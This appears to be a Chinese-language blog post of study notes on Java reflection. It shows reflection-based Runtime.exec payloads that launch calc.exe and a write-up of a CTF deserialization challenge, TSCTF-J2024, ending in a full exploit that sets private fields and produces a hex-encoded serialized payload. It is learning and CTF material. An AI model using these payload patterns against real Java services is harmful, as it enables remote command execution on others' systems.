前言
从去年九月招新赛看见的Java反射调用,到现在3月,当初看Java感觉真是又臭又长啊,看不下去……但花费一个更广的时间尺度来去慢慢熟悉Java这门语言还是有效果的,现在也总算是能看点Java了T T,idea也是一点点摸着用,先从Reflection开始吧:)
[参考文章] JAVA安全基础(二)– 反射机制
前置知识
首先要明白为什么要反射调用?——因为我们需要在程序运行时期,能够动态地去改变原来静态编译好(无法修改)的对象。
通常我们使用的方法是
1 2 3 4 5 6
| 通过类名的.class属性/实例化对象的getClass()方法/Class.forName()方法——获取类对象 通过java.lang.reflect.Field(类的属性对象)——获取成员变量 通过java.lang.reflect.Method(类的方法对象)——获取类中的方法 通过java.lang.reflect.Constructor(类的构造器对象)获取类的构造器 使用newInstance实例化class对象 使用getMethod获取函数,invoke执行函数
|
然后这里是一个利用Reflection弹计算器的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com;
import java.lang.reflect.Method;
public class ReflectRuntime { public static void main(String[] args) { try { Class<?> c1 = Class.forName("java.lang.Runtime"); Method getRuntimeMethod = c1.getMethod("getRuntime"); Method execMethod = c1.getMethod("exec", String.class); Object runtimeInstance = getRuntimeMethod.invoke(c1); execMethod.invoke(runtimeInstance, "calc.exe"); }catch (Exception e) { System.err.println("异常: " + e.getMessage()); } } }
|
简化一下就是我们常见的payload1
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com;
public class Payload { public static void main(String[] args) { try { Class c1 = Class.forName("java.lang.Runtime"); c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1), "calc.exe"); } catch (Exception e) { System.err.println(e.getMessage()); } } }
|
上面这种方法使用十分受限,尤其是对于私有属性和方法是束手无策的。
所以我们需要利用java.lang.reflect.Constructor
(类的构造器对象)来操作,创建一个实例对象,并设置setAccessible(true)
,这样我们就有了payload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com;
import java.lang.reflect.Constructor;
public class Payload2 {
public static void main(String[] args) throws Exception { Class c1= Class.forName("java.lang.Runtime"); Constructor m = c1.getDeclaredConstructor(); m.setAccessible(true); c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe"); } }
|
与反序列化的关系
Java反序列化时,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞,我们通常会通过反射调用去绕过对我们的waf。或者如果我们在进行反序列化过程中可控的话,能够加载我们使用反射调用的恶意命令语句的话,则能够成功进行命令执行。
一道题目
[TSCTF-J2024] 瑞福莱克珅
完成此题需要:
1.Java编程基础和Java Web环境(java版本是java8)
2.能够编写简单的反射操作以修改成员属性
3.基础的Java序列化操作知识
好一个瑞弗莱克珅(Reflection)现在才知道
题目给了一个jar包,我们用idea打开进行反编译,并自己新建一个maven项目,把相关的内容的复制到我们的项目中,同时配置好pom.xml就可以本地调试了
IndexController
里面的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13
| @RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String BUPT = objectInputStream.readUTF(); String merak = objectInputStream.readUTF(); if (BUPT.equals("BUPT") && merak.equals("merak")) { objectInputStream.readObject(); }
return "index"; }
|
分为以下三步
- hexStringToBytes->BIAS->IS->OIS
- readUTF==BUPT,readUTF==merak
- readObject
Calc
中的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class Calc implements Serializable { private boolean hasPermission = false; private String cmd = "calc";
public Calc() { }
private void readObject(ObjectInputStream objectInputStream) throws Exception { objectInputStream.defaultReadObject(); if (this.hasPermission) { Runtime.getRuntime().exec(this.cmd); }
} }
|
步骤如下
- ois.defaultReadObject
- Calc.hasPermission==true?
- exec(Calc.cmd)
所以我们就按顺序逆着来就好了
- Calc.cmd=”rce”,Calc.hasPermission=true
- writeUTF=BUPT,writeUTF=merak
- writeObject
- OOS->BAOS->toByteArray->bytesTohexString
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.avasec;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class Exp { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { Calc sink = new Calc(); Class c1 = sink.getClass();
Field f1 = c1.getDeclaredField("cmd"); Field f2 = c1.getDeclaredField("hasPermission");
f1.setAccessible(true); f2.setAccessible(true);
f1.set(sink, "calc.exe"); f2.set(sink, true);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("BUPT"); oos.writeUTF("merak"); oos.writeObject(sink); oos.close();
System.out.println(Utils.bytesTohexString(baos.toByteArray())); } }
|
复现成功!
image-20250308162752091
[参考文章] DoubleLi学长的TSCTF-J2024 WP